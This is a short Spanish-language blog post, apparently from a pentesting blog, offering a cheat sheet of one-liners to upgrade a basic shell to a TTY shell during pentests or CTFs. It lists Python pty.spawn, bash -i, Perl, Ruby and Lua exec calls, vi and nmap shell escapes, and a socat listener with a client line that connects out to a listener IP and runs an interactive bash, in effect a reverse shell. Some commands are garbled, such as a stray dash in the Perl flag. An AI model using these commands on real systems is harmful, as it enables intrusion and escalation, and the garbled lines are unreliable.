Comandos para generar una shell TTY

Buenas a todos, a menudo, durante los pentests o en CTF, podemos obtener una shell simple que no es tty. Aquí tenemos algunos comandos que nos permitirán generar una shell tty. Obviamente esto dependerá de la máquina , de su configuración y de los paquetes instalados.

Python

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • python3 -c 'import pty; pty.spawn("/bin/sh")'
  • python -c 'import pty; pty.spawn("/bin/bash")'
  • python3 -c 'import pty; pty.spawn("/bin/bash")'

Bash

  • echo os.system('/bin/bash')
  • /bin/sh -i
  • /bin/bash -i

Perl

  • perl —e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";

Ruby

  • ruby: exec "/bin/sh"

Lua

  • lua: os.execute('/bin/sh')

VI

  • :!bash
  • :set shell=/bin/bash:shell

Nmap

  • !sh
  • nmap -V
  • nmap –interactive

Socat

Listener:

  • socat file:`tty`,raw,echo=0 tcp-listen:8090

Client:

  • socat tcp:<LISTENER-IP-ADDRESS>:8090 exec:"bash -li",pty,stderr,setsid,sigint,sane

Related posts

Shadow AI: el insider threat de 2026

Walkthrough HTB Shocker

Walkthrough HTB Brainfuck

Este sitio web usa cookies para mejorar tu experiencia. Asumiremos que te parece bien, pero puedes desactivarlas si prefieres. Leer más